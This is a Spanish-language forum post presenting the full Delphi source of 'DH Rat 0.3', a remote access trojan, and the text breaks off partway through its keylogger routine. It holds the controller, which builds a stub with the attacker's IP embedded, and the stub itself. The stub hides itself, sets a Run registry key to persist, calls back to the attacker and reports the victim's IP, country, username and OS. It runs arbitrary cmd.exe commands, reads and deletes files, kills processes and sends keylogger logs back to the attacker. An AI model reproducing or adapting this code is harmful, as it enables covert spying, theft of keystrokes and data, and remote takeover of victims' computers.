[Delphi] DH Rat 0.3

[BigBear]

Un simple RAT que hice en Delphi con las siguientes opciones :

• Abrir y cerrar lectora
  
• Listar archivos en un directorio
  
• Borrar archivos y directorios
  
• Ver el contenido de un archivo
  
• Hacer que el teclado escriba solo
  
• Abre Word y para variar las cosas el teclado escribe solo
  
• Mandar mensajes
  
• Hacer que la computadora hable (en ingles)
  
• Listar procesos
  
• Matar un proceso
  
• Ejecutar comandos y ver el resultado
  
• Volver loco al mouse por un rato
  
• Ocultar y mostrar el taskbar
  
• Ocultar y mostrar los iconos del escritorio
  
• Keylogger incluido
  
  Una imagen :
  
  
  
  Los codigos.
  
  El Administrador.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Rat 0.3
// (C) Doddy Hackman 2013

unit rat;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
  sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, madRes, WinInet;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sStatusBar1: TsStatusBar;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sListView1: TsListView;
    sMemo1: TsMemo;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    sGroupBox6: TsGroupBox;
    Image1: TImage;
    sLabel1: TsLabel;
    ServerSocket1: TServerSocket;
    PopupMenu1: TPopupMenu;
    O1: TMenuItem;
    C1: TMenuItem;
    L1: TMenuItem;
    D1: TMenuItem;
    R1: TMenuItem;
    S1: TMenuItem;
    J1: TMenuItem;
    M1: TMenuItem;
    T1: TMenuItem;
    ifPoslistarprocesoscode0then1: TMenuItem;
    K1: TMenuItem;
    C2: TMenuItem;
    C3: TMenuItem;
    H1: TMenuItem;
    S2: TMenuItem;
    H2: TMenuItem;
    S3: TMenuItem;
    K2: TMenuItem;
    PopupMenu2: TPopupMenu;
    S4: TMenuItem;
    S5: TMenuItem;
    Image2: TImage;
    sGroupBox7: TsGroupBox;
    sGroupBox8: TsGroupBox;
    Image3: TImage;
    sButton2: TsButton;
    OpenDialog1: TOpenDialog;
    sEdit2: TsEdit;
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);

    procedure O1Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure L1Click(Sender: TObject);
    procedure D1Click(Sender: TObject);
    procedure R1Click(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure J1Click(Sender: TObject);
    procedure M1Click(Sender: TObject);
    procedure T1Click(Sender: TObject);
    procedure ifPoslistarprocesoscode0then1Click(Sender: TObject);
    procedure K1Click(Sender: TObject);
    procedure C2Click(Sender: TObject);
    procedure C3Click(Sender: TObject);
    procedure H1Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure H2Click(Sender: TObject);
    procedure S3Click(Sender: TObject);
    procedure K2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure S4Click(Sender: TObject);

    procedure S5Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sEdit1DblClick(Sender: TObject);

    procedure sButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  argumento: string;

implementation

{$R *.dfm}
// Functions

function toma(const pagina: string): UTF8String;

// Credits : Based on http://www.scalabium.com/faq/dct0080.htm
// Thanks to www.scalabium.com

var
  nave1: HINTERNET;
  nave2: HINTERNET;
  tou: DWORD;
  codez: UTF8String;
  codee: array [0 .. 1023] of byte;
  finalfinal: string;

begin

  try

    begin

      finalfinal := '';
      Result := '';

      nave1 := InternetOpen(
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
          , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

      nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
        INTERNET_FLAG_RELOAD, 0);

      repeat

      begin
        InternetReadFile(nave2, @codee, SizeOf(codee), tou);
        SetString(codez, PAnsiChar(@codee[0]), tou);
        finalfinal := finalfinal + codez;
      end;

      until tou = 0;

      InternetCloseHandle(nave2);
      InternetCloseHandle(nave1);

      Result := finalfinal;
    end;

  except
    //
  end;

end;

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

//

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;

  try
    begin

      sListView1.Items.Clear;

      ServerSocket1.Port := 6664;
      ServerSocket1.Open;

      sStatusBar1.Panels[0].text := '[+] Online';
      Form1.sStatusBar1.Update;

    end;
  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;
end;

procedure TForm1.C1Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]');
end;

procedure TForm1.C2Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Command', 'net user');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![ejecutar] [argumento]' + argumento + '[argumento]');
end;

procedure TForm1.C3Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Number', '123');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![crazymouse] [argumento]' + argumento + '[argumento]');
end;

procedure TForm1.D1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![borraresto] [argumento]' + argumento + '[argumento]');
end;

procedure TForm1.H1Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![ocultartaskbar]');
end;

procedure TForm1.H2Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![ocultariconos]');
end;

procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![listarprocesos]');
end;

procedure TForm1.J1Click(Sender: TObject);
begin

  argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![escribirword] [argumento]' + argumento + '[argumento]');

end;

procedure TForm1.K1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'PID', '');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![matarproceso] [argumento]' + argumento + '[argumento]');
end;

procedure TForm1.K2Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![keyloggerlogs]');
end;

procedure TForm1.L1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![listardirectorio] [argumento]' + argumento + '[argumento]');
end;

procedure TForm1.M1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Text', 'No tengas miedo');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![mensaje] [argumento]' + argumento + '[argumento]');

end;

procedure TForm1.O1Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]');
end;

procedure TForm1.R1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![leerarchivo] [argumento]' + argumento + '[argumento]');

end;

procedure TForm1.S1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![sendkeys] [argumento]' + argumento + '[argumento]');

end;

procedure TForm1.S2Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![volvertaskbar]');
end;

procedure TForm1.S3Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![volvericonos]');
end;

procedure TForm1.T1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Text', 'Mother Fucker');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![hablar] [argumento]' + argumento + '[argumento]');
end;

procedure TForm1.S4Click(Sender: TObject);
begin

  try
    begin
      ServerSocket1.Port := 6664;
      ServerSocket1.Open;

      sListView1.Items.Clear;

      sStatusBar1.Panels[0].text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except

    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;

end;

procedure TForm1.S5Click(Sender: TObject);
begin
  try
    begin

      sListView1.Items.Clear;
      ServerSocket1.Close;
      sStatusBar1.Panels[0].text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;
end;

procedure TForm1.sButton1Click(Sender: TObject);

var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  lineafinal: string;
  stubgenerado: string;
  change: DWORD;
  valor: string;

begin

  stubgenerado := 'server_ready.exe';
  lineafinal := '[ip]' + sEdit1.text + '[ip]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName)
        + '/' + stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, PChar(linea));
  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  //

  if not(sEdit2.text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                + '/' + stubgenerado)), False);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(sEdit2.text)));
        EndUpdateResourceW(change, False);
        sStatusBar1.Panels[0].text := '[+] Done ';
        sStatusBar1.Update;
      end;
    except
      begin
        sStatusBar1.Panels[0].text := '[-] Error';
        sStatusBar1.Update;
      end;
    end;
  end
  else
  begin
    sStatusBar1.Panels[0].text := '[+] Done ';
    sStatusBar1.Update;
  end;

  //

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

  if OpenDialog1.Execute then
  begin
    Image3.Picture.LoadFromFile(OpenDialog1.filename);
    sEdit2.text := OpenDialog1.filename;
  end;

end;

procedure TForm1.sEdit1DblClick(Sender: TObject);
var
  code, ip: string;
begin

  code := toma('http://whatismyipaddress.com/');

  ip := regex(code, 'alt="Click for more about ', '"></a>');

  sEdit1.text := ip;

end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin

  with sListView1.Items.Add do
  begin
    Caption := Socket.RemoteHost;
    SubItems.Add('?');
    SubItems.Add('?');
    SubItems.Add('?');
    SubItems.Add('?');

  end;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  code: string;
  host: string;
  ip: string;
  pais: string;
  username: string;
  os: string;

begin

  code := Socket.ReceiveText;

  if (Pos('[datos_nuevos][ip]', code) > 0) then
  begin

    ip := regex(code, '[ip]', '[ip]');
    pais := regex(code, '[pais]', '[pais]');
    username := regex(code, '[username]', '[username]');
    os := regex(code, '[os]', '[os]');

    sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip;
    sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais;
    sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username;
    sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os;

    sMemo1.Lines.Add('[+] Update Target : OK');

  end

  else if (Pos('![keyloggerlogs]', code) > 0) then
  begin
    if (FileExists('logs_keylogger.html')) then
    begin
      DeleteFile('logs_keylogger.html');
    end;

    savefile('logs_keylogger.html', code);

    sMemo1.Lines.Add('[+] Keylogger : OK');

    ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName)
          + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL);
  end
  else
  begin
    sMemo1.Lines.Add(code);
  end;

end;

end.

// The End ?

  
  El stub.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Rat 0.3
// (C) Doddy Hackman 2013

// Stub

unit stub;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
  IdIPMCastServer, ScktComp, sButton, ExtCtrls;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    ClientSocket1: TClientSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    function datanow(): string;
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure sButton1Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);

  private
    Nombre2: string;
    { Private declarations }

  public
    { Public declarations }

  end;

var
  Form1: TForm1;
  acatoy: string;

implementation

{$R *.dfm}
{$POINTERMATH ON}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  try

    begin
      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);
    end;
  except
    //
  end;

end;

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function listardirectorio(dir: string): string;
var

  busqueda: TSearchRec;
  code: string;

begin

  code := '';

  FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);

  code := code + '[+] : ' + busqueda.Name + sLineBreak;

  while FindNext(busqueda) = 0 do
  begin
    code := code + '[+] : ' + busqueda.Name + sLineBreak;
  end;

  Result := code;
  FindClose(busqueda);

end;

function borraresto(archivo: string): string;
var
  code: string;
begin

  code := '';

  if DirectoryExists(archivo) then
  begin
    if (RemoveDir(archivo)) then
    begin
      code := '[+] Directory removed';
    end
    else
    begin
      code := '[+] Error';
    end;
  end;
  if FileExists(archivo) then
  begin
    if (DeleteFile(archivo)) then
    begin
      code := '[+] File removed';
    end
    else
    begin
      code := '[+] Error';
    end;
  end;

  Result := code;

end;

function LeerArchivo(const archivo: TFileName): String;
var
  lista: TStringList;
begin

  if (FileExists(archivo)) then
  begin

    lista := TStringList.Create;
    lista.Loadfromfile(archivo);
    Result := lista.text;
    lista.Free;

  end;

end;

function lectora(opcion: string): string;
var
  code: string;
begin

  code := '';

  if (opcion = 'open') then
  begin
    mciSendString('Set cdaudio door open wait', nil, 0, 0);
    code := '[+] Open CD : OK';
  end
  else
  begin
    mciSendString('Set cdaudio door closed wait', nil, 0, 0);
    code := '[+] Close CD : OK';
  end;

  Result := code;

end;

function cambiar_barra(opcion: string): string;
var
  code: string;
begin
  code := '';

  if (opcion = 'hide') then
  begin
    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
    code := '[+] Hidden Taskbar : OK';
  end
  else
  begin
    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
    code := '[+] Show Taskbar : OK';
  end;

  Result := code;

end;

function cambiar_iconos(opcion: string): string;
var
  code: string;
  acatoy: THandle;
begin
  code := '';
  acatoy := FindWindow('ProgMan', nil);
  acatoy := GetWindow(acatoy, GW_CHILD);
  if (opcion = 'hide') then
  begin
    ShowWindow(acatoy, SW_HIDE);
    code := '[+] Hidden Icons : OK';
  end
  else
  begin
    ShowWindow(acatoy, SW_SHOW);
    code := '[+] Show Icons : OK';
  end;
  Result := code;
end;

function mensaje(texto: string): string;
var
  code: string;
begin
  code := '';
  ShowMessage(texto);
  code := '[+] Message Sent';
  Result := code;
end;

function hablar(text: string): string;
var
  Voice: Variant;
  code: string;
begin
  code := '';
  Voice := CreateOLEObject('SAPI.SpVoice');
  Voice.speak(text);
  code := '[+] Voice Speak : OK';
  Result := code;
end;

function SendKeys(texto: string): string;
// Thanks to Remy Lebeau for the help
var
  eventos: PInput;
  controlb, controla: integer;
  code: string;
begin

  code := '';
  code := '[+] SendKeys : OK';

  GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));

  controla := 0;

  for controlb := 1 to Length(texto) do
  begin

    eventos[controla].Itype := INPUT_KEYBOARD;
    eventos[controla].ki.wVk := 0;
    eventos[controla].ki.wScan := ord(texto[controlb]);
    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
    eventos[controla].ki.time := 0;
    eventos[controla].ki.dwExtraInfo := 0;

    Inc(controla);

    eventos[controla].Itype := INPUT_KEYBOARD;
    eventos[controla].ki.wVk := 0;
    eventos[controla].ki.wScan := ord(texto[controlb]);
    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
    eventos[controla].ki.time := 0;
    eventos[controla].ki.dwExtraInfo := 0;

    Inc(controla);

  end;

  SendInput(controla, eventos[0], SizeOf(TInput));

  Result := code;

end;

function escribir_word(texto: string): string;
var
  code: string;
begin
  code := '';
  code := '[+] Word Joke : OK';
  ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
  Sleep(5000);
  SendKeys(texto);
  Result := code;

end;

function listarprocesos(): string;
var
  conector: THandle;
  timbre: LongBool;
  indicio: TProcessEntry32;
  code: string;

begin

  code := '';

  conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  indicio.dwSize := SizeOf(indicio);

  timbre := Process32First(conector, indicio);

  while timbre do

  begin

    code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr
      (indicio.th32ProcessID) + sLineBreak;

    timbre := Process32Next(conector, indicio);

  end;

  Result := code;

end;

function matarproceso(pid: string): string;
var
  vano: THandle;
  code: string;

begin

  code := '';
  vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));

  if TerminateProcess(vano, 0) then
  begin
    code := '[+] Kill Process : OK';
  end
  else
  begin
    code := '[+] Kill Process : ERROR';
  end;

  Result := code;

end;

function ejecutar(cmd: string): string;
// Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
// Thanks to www.delphidabbler.com

var
  parte1: TSecurityAttributes;
  parte2: TStartupInfo;
  parte3: TProcessInformation;
  parte4: THandle;
  parte5: THandle;
  control2: Boolean;
  contez: array [0 .. 255] of AnsiChar;
  notengoidea: Cardinal;
  fix: Boolean;
  code: string;

begin

  code := '';

  with parte1 do
  begin
    nLength := SizeOf(parte1);
    bInheritHandle := True;
    lpSecurityDescriptor := nil;
  end;

  CreatePipe(parte4, parte5, @parte1, 0);

  with parte2 do
  begin
    FillChar(parte2, SizeOf(parte2), 0);
    cb := SizeOf(parte2);
    dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
    wShowWindow := SW_HIDE;
    hStdInput := GetStdHandle(STD_INPUT_HANDLE);
    hStdOutput := parte5;
    hStdError := parte5;
  end;

  fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
    PChar('c:/'), parte2, parte3);

  CloseHandle(parte5);

  if fix then

    repeat

    begin
      control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
    end;

    if notengoidea > 0 then
    begin
      contez[notengoidea] := #0;
      code := code + contez;
    end;

    until not(control2) or (notengoidea = 0);

    Result := code;

end;

function crazy_mouse(number: string): string;
var
  i: integer;
  code: string;
begin
  code := '';
  For i := 1 to StrToInt(number) do
  begin
    Sleep(1000);
    SetCursorPos(i, i);
  end;
  code := '[+] Crazy Mouse : OK';
  Result := code;
end;

function TForm1.datanow(): string;
var
  code: string;
  ip: string;
  pais: string;
  re: string;
  username: string;
  os: string;

begin

  try
    begin
      code := IdHTTP1.Get('http://whatismyipaddress.com/');

      ip := regex(code, 'alt="Click for more about ', '"></a>');
      pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>');

      if (ip = '') then
      begin
        ip := '?';
      end;

      if (pais = '') then
      begin
        pais := '?';
      end;

      username := GetEnvironmentVariable('username');
      os := GetEnvironmentVariable('os');

      re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
        '[username]' + username + '[username]' + '[os]' + os + '[os]';
    end;
  except
    //
  end;

  Result := re;

end;

//

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  ClientSocket1.Socket.SendText(datanow());
end;

procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
var
  code: string;
  argumento: string;
begin
  code := Socket.ReceiveText;

  argumento := regex(code, '[argumento]', '[argumento]');

  if (Pos('![opencd]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(lectora('open'));
  end;

  if (Pos('![closecd]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(lectora('close'));
  end;

  if (Pos('![listardirectorio]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(listardirectorio(argumento));
  end;

  if (Pos('![borraresto]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(borraresto(argumento));
  end;

  if (Pos('![leerarchivo]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(LeerArchivo(argumento));
  end;

  if (Pos('![keyloggerlogs]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy));
  end;

  if (Pos('![sendkeys]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(SendKeys(argumento));
  end;

  if (Pos('![escribirword]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(escribir_word(argumento));
  end;

  if (Pos('![mensaje]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(mensaje(argumento));
  end;

  if (Pos('![hablar]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(hablar(argumento));
  end;

  if (Pos('![matarproceso]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(matarproceso(argumento));
  end;

  if (Pos('![ejecutar]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(ejecutar(argumento));
  end;

  if (Pos('![crazymouse]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(crazy_mouse(argumento));
  end;

  if (Pos('![ocultartaskbar]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(cambiar_barra('hide'));
  end;

  if (Pos('![volvertaskbar]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(cambiar_barra('na'));
  end;

  if (Pos('![ocultariconos]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(cambiar_iconos('hide'));
  end;

  if (Pos('![volvericonos]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(cambiar_iconos('na'));
  end;

  if (Pos('![listarprocesos]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(listarprocesos());
  end;

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
  registro: HKEY;
  ip: string;

  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

begin

  Application.ShowMainForm := FALSE;

  ob := INVALID_HANDLE_VALUE;
  code := '';

  ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;

  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');

  ip := regex(todo, '[ip]', '[ip]');

  try
    begin
      dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
      carpeta := 'ratata';

      dir := dir_hide + carpeta + '/';

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      nombrereal := ExtractFileName(paramstr(0));
      rutareal := dir;
      yalisto := dir + nombrereal;

      acatoy := dir + 'logs.html';

      MoveFile(PChar(paramstr(0)), PChar(yalisto));

      SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);

      SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);

      RegCreateKeyEx(HKEY_LOCAL_MACHINE,
        'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
      RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666);
      RegCloseKey(registro);

      savefile('logs.html',
        '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

      ClientSocket1.Address := ip;
      ClientSocket1.Port := 6664;
      ClientSocket1.Open;

    end;
  except
    //
  end;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  ClientSocket1.Socket.SendText(datanow());
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;

const

  n_numeros_izquierda: array [1 .. 10] of string =
    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

const
  t_numeros_izquierda: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_numeros_derecha: array [1 .. 10] of string =
    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

const
  t_numeros_derecha: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');

const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    '|');

const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    '226');

const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');

begin

  // Others

  for i := Low(n_raros) to High(n_raros) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_raros[i]);
    end;
  end;

  // Numbers

  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
    If Result = -32767 then
    begin
